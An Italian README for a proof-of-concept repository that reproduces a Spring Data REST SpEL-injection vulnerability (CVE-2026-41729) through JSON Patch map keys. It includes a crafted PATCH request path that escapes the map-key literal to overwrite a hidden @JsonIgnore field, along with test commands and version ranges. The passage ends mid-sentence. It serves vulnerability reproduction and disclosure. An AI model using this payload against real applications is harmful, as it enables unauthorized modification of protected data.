
CVE-2026-41729 PoC
Questo repository è una PoC minima di riproduzione per CVE-2026-41729, pubblicata tramite l'avviso di sicurezza ufficiale di Spring.
Spring Data REST SpEL Injection via Map Key in JSON PatchAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:NSpring Data REST, quando elabora richieste JSON Patch (Content-Type: application/json-patch+json), presentava un problema di inserimento diretto del frammento del percorso della chiave di una proprietà di tipo Map in un'espressione SpEL.
Secondo l'avviso ufficiale, se un'entità persistente espone una proprietà di tipo Map e un attaccante può inviare una richiesta PATCH alla risorsa dell'elemento, può manipolare il segmento della chiave della mappa per uscire dal letterale dell'indicizzatore della mappa previsto e far valutare una sotto-espressione SpEL nel contesto della radice aggregata. È stato dichiarato che sia il percorso di lettura della patch () sia il percorso di scrittura della patch () sono interessati.
read patch pathwrite patch pathQuesta PoC utilizza il percorso di scrittura della patch per mostrare come un campo @JsonIgnore, non esposto nella normale rappresentazione REST, possa essere modificato tramite un percorso JSON Patch costruito ad arte.
Prodotti interessati secondo l'avviso ufficiale:
Versioni interessate:
3.7.0 - 3.7.194.3.0 - 4.3.164.4.0 - 4.4.144.5.0 - 4.5.115.0.0 - 5.0.5Versioni corrette:
3.7.204.3.174.4.154.5.12 o 4.5.11.15.0.6 o 5.0.5.1Il test avvia una vera applicazione Spring Boot e invia una richiesta HTTP PATCH all'endpoint del repository Spring Data REST.
L'oggetto di dominio ha la seguente struttura:
people esposta all'esterno.hiddenChildren presente all'interno di ogni oggetto Person ma nascosta nella rappresentazione Jackson/Spring Data REST.Nella normale risposta REST, hiddenChildren e i suoi valori interni non sono visibili.
GET /wrappers/sample
Una JSON Patch che specifica direttamente la proprietà nascosta viene rifiutata.
PATCH /wrappers/sample
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/people/a/hiddenChildren/b/name",
"value": "after"
}
]
Tuttavia, utilizzando una chiave della mappa costruita ad arte, è possibile uscire dal letterale della chiave della mappa prevista nel processo di conversione del percorso JSON Patch in percorso SpEL di Spring Data REST, portando al percorso della proprietà nascosta.
PATCH /wrappers/sample
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/people/a'].hiddenChildren['b/name",
"value": "after"
}
]
Nelle versioni vulnerabili, questa richiesta ha successo e il valore interno cambia come segue:
before -> after
Il test conferma che non è stata creata una chiave effettiva a'].hiddenChildren['b nella mappa, ma piuttosto che il percorso della proprietà nascosta è stato modificato a causa del breakout dell'espressione.
Windows:
.\mvnw.cmd test
macOS/Linux:
./mvnw test
Risultato atteso per le versioni vulnerabili:
Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
BUILD SUCCESS
Il successo del test significa che "il comportamento vulnerabile è stato riprodotto". In altre parole, nelle dipendenze vulnerabili, la richiesta JSON Patch costruita ad arte ha successo, dimostrando la modifica dello stato interno nascosto.
Questo repository utilizza il genitore Spring Boot 3.5.14, che risolve spring-data-rest-webmvc 4.5.11. Questa versione rientra nell'intervallo interessato 4.5.0 - 4.5.11 dell'avviso ufficiale.
Un attaccante in grado di inviare richieste JSON Patch a un endpoint Spring Data REST può manipolare le chiavi della mappa per indurre una valutazione non intenzionale di percorsi SpEL lato server. Di conseguenza, i valori interni del grafo degli oggetti che l'applicazione non intende esporre tramite la rappresentazione REST possono essere letti o modificati.
L'avviso ufficiale ha valutato l'impatto sulla riservatezza e sull'integrità come Alto.
L'avviso ufficiale di Spring riporta: